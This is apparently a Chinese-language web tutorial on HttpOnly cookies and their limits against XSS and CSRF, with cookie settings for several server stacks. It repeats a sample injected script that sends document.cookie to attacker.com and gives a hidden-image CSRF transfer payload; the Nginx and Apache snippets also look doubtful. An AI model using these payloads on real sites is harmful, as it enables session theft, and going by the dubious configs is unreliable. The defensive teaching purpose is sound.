乐闻世界logo
搜索文章和话题

什么是 HttpOnly Cookie?如何使用 HttpOnly Cookie 防止 XSS 攻击?

2月21日 16:27

答案

HttpOnly Cookie 是一种重要的安全机制,用于防止 XSS 攻击窃取 Cookie。它是 Cookie 的一个属性,当设置为 true 时,JavaScript 无法通过 document.cookie 访问该 Cookie。

定义: HttpOnly 是 Cookie 的一个属性,当设置为 true 时,浏览器会禁止 JavaScript 访问该 Cookie,从而防止恶意脚本通过 XSS 攻击窃取 Cookie。

基本语法:

javascript
// 设置 HttpOnly Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' });

HTTP 响应头:

shell
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Expires=Wed, 21 Oct 2025 07:28:00 GMT

Cookie 属性说明:

  • sessionId=abc123:Cookie 的名称和值
  • HttpOnly:禁止 JavaScript 访问
  • Secure:只在 HTTPS 连接下发送
  • SameSite=Strict:防止跨站请求携带 Cookie
  • Path=/:Cookie 的有效路径
  • Expires:Cookie 的过期时间

2. HttpOnly 的作用机制

没有 HttpOnly 的情况:

javascript
// JavaScript 可以访问 Cookie const cookies = document.cookie; console.log(cookies); // sessionId=abc123; otherCookie=value // 恶意脚本可以窃取 Cookie const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));

有 HttpOnly 的情况:

javascript
// JavaScript 无法访问 HttpOnly Cookie const cookies = document.cookie; console.log(cookies); // otherCookie=value (sessionId 不会显示) // 恶意脚本无法窃取 HttpOnly Cookie const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); // 只能窃取非 HttpOnly 的 Cookie

攻击场景: 攻击者通过 XSS 漏洞注入恶意脚本,试图窃取用户的会话 Cookie。

没有 HttpOnly:

html
<!-- 攻击者在评论区注入恶意脚本 --> <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

结果: 攻击者成功窃取所有 Cookie,包括会话 Cookie。

有 HttpOnly:

html
<!-- 攻击者在评论区注入恶意脚本 --> <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

结果: 攻击者只能窃取非 HttpOnly 的 Cookie,会话 Cookie 受到保护。

2. 保护会话安全

会话 Cookie 的正确设置:

javascript
// Node.js Express 示例 app.use(session({ secret: 'your-secret-key', cookie: { httpOnly: true, // 禁止 JavaScript 访问 secure: true, // 只在 HTTPS 下发送 sameSite: 'strict', // 防止 CSRF maxAge: 3600000 // 1小时过期 } }));

1. 服务器端设置

Node.js Express:

javascript
// 设置 HttpOnly Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }); // 使用 session 中间件 app.use(session({ secret: 'secret', cookie: { httpOnly: true, secure: true, sameSite: 'strict' } }));

PHP:

php
// 设置 HttpOnly Cookie setcookie('sessionId', $sessionId, [ 'expires' => time() + 3600, 'path' => '/', 'domain' => 'example.com', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]); // 使用 session_set_cookie_params session_set_cookie_params([ 'lifetime' => 3600, 'path' => '/', 'domain' => 'example.com', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]); session_start();

Python Flask:

python
from flask import Flask, make_response app = Flask(__name__) @app.route('/login') def login(): resp = make_response('Login successful') resp.set_cookie('sessionId', session_id, httponly=True, secure=True, samesite='Strict') return resp

Java Spring Boot:

java
import javax.servlet.http.Cookie; @GetMapping("/login") public String login(HttpServletResponse response) { Cookie cookie = new Cookie("sessionId", sessionId); cookie.setHttpOnly(true); cookie.setSecure(true); response.addCookie(cookie); return "Login successful"; }

2. 配置示例

Nginx 配置:

nginx
server { listen 443 ssl; server_name example.com; location / { proxy_set_header Set-Cookie "sessionId=$upstream_http_set_cookie; HttpOnly; Secure; SameSite=Strict"; proxy_pass http://backend; } }

Apache 配置:

apache
<VirtualHost *:443> ServerName example.com DocumentRoot /var/www/html Header edit Set-Cookie "(^.*; HttpOnly; Secure; SameSite=Strict)$" "$1" </VirtualHost>

正确做法:

javascript
// 会话 Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' }); // 认证 Token res.cookie('authToken', authToken, { httpOnly: true, secure: true, sameSite: 'strict' });

2. 结合其他安全属性使用

完整的 Cookie 安全设置:

javascript
res.cookie('sessionId', sessionId, { httpOnly: true, // 防止 XSS 窃取 secure: true, // 只在 HTTPS 下发送 sameSite: 'strict', // 防止 CSRF path: '/', // 限制路径 domain: 'example.com', // 限制域名 maxAge: 3600000 // 设置过期时间 });

会话 Cookie(HttpOnly):

javascript
// 用于身份验证的会话 Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' });

功能 Cookie(非 HttpOnly):

javascript
// 用于前端功能的功能 Cookie(如主题偏好) res.cookie('theme', 'dark', { httpOnly: false, // 允许 JavaScript 访问 secure: true, sameSite: 'lax' });

1. 不能完全防止 XSS 攻击

仍然可以进行的攻击:

javascript
// 即使有 HttpOnly,XSS 仍然可以: // 1. 修改 DOM 内容 document.getElementById('content').innerHTML = '<h1>恶意内容</h1>'; // 2. 重定向用户 window.location = 'http://malicious.com'; // 3. 发送 AJAX 请求(自动携带 Cookie) fetch('/api/transfer', { method: 'POST', body: JSON.stringify({ to: 'attacker', amount: 10000 }), credentials: 'include' // 自动携带 HttpOnly Cookie }); // 4. 窃取其他非 HttpOnly 的 Cookie const nonHttpOnlyCookies = document.cookie;

2. 不能防止 CSRF 攻击

CSRF 攻击示例:

html
<!-- 即使有 HttpOnly,CSRF 攻击仍然有效 --> <img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">

防护 CSRF:

javascript
// 需要结合 SameSite Cookie 和 CSRF Token res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' // 防止 CSRF });

3. 不能防止网络拦截

中间人攻击:

shell
// 如果不使用 HTTPS,Cookie 仍然可以被拦截 // 必须设置 secure: true res.cookie('sessionId', sessionId, { httpOnly: true, secure: true // 强制 HTTPS });

1. 与 Content Security Policy 结合

javascript
// 设置 CSP app.use((req, res, next) => { res.setHeader('Content-Security-Policy', "default-src 'self'; " + "script-src 'self'; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:;" ); next(); }); // 设置 HttpOnly Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' });
javascript
// SameSite=Strict:最严格的防护 res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' // 完全防止跨站请求携带 Cookie }); // SameSite=Lax:平衡安全性和用户体验 res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'lax' // 允许顶级导航携带 Cookie });

3. 与 CSRF Token 结合

javascript
// 设置 HttpOnly Cookie res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' }); // 生成 CSRF Token const csrfToken = generateCSRFToken(); res.cookie('csrfToken', csrfToken, { httpOnly: true, secure: true, sameSite: 'strict' }); // 在响应中返回 CSRF Token res.json({ csrfToken });

实际案例分析

案例 1:电商平台

问题: 电商平台没有设置 HttpOnly Cookie,导致 XSS 攻击窃取用户会话。

攻击代码:

javascript
// 攻击者在商品评论区注入 <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

修复方案:

javascript
// 设置 HttpOnly Cookie app.use(session({ secret: 'secret', cookie: { httpOnly: true, secure: true, sameSite: 'strict' } }));

案例 2:在线银行

问题: 银行网站虽然设置了 HttpOnly Cookie,但没有设置 SameSite,仍然面临 CSRF 攻击。

攻击代码:

html
<!-- CSRF 攻击 --> <img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">

修复方案:

javascript
// 完整的 Cookie 安全设置 app.use(session({ secret: 'secret', cookie: { httpOnly: true, // 防止 XSS secure: true, // 强制 HTTPS sameSite: 'strict' // 防止 CSRF } }));

检测和验证

1. 浏览器开发者工具检查

步骤:

  1. 打开浏览器开发者工具(F12)
  2. 切换到 Application 或 Storage 标签
  3. 查看 Cookies
  4. 检查 HttpOnly 列是否勾选

2. JavaScript 验证

测试代码:

javascript
// 测试 Cookie 是否可以被 JavaScript 访问 const cookies = document.cookie; console.log('Accessible cookies:', cookies); // 如果会话 Cookie 不在输出中,说明 HttpOnly 生效

3. 网络请求检查

步骤:

  1. 打开浏览器开发者工具(F12)
  2. 切换到 Network 标签
  3. 发送请求
  4. 查看请求头中的 Cookie
  5. 检查响应头中的 Set-Cookie

总结

HttpOnly Cookie 是防止 XSS 攻击窃取 Cookie 的有效措施,但它不是万能的。正确使用 HttpOnly Cookie 需要注意以下几点:

最佳实践:

  1. 所有会话 Cookie 都应设置 HttpOnly
  2. 结合 secure 属性强制使用 HTTPS
  3. 结合 sameSite 属性防止 CSRF 攻击
  4. 区分不同类型的 Cookie,只对敏感 Cookie 设置 HttpOnly
  5. 结合其他安全措施(CSP、CSRF Token 等)构建多层防御

局限性:

  1. 不能完全防止 XSS 攻击
  2. 不能防止 CSRF 攻击
  3. 不能防止网络拦截
  4. 不适用于需要 JavaScript 访问的 Cookie

通过正确使用 HttpOnly Cookie 并结合其他安全措施,可以有效地提高 Web 应用的安全性,防止 Cookie 窃取和会话劫持。

标签:XSS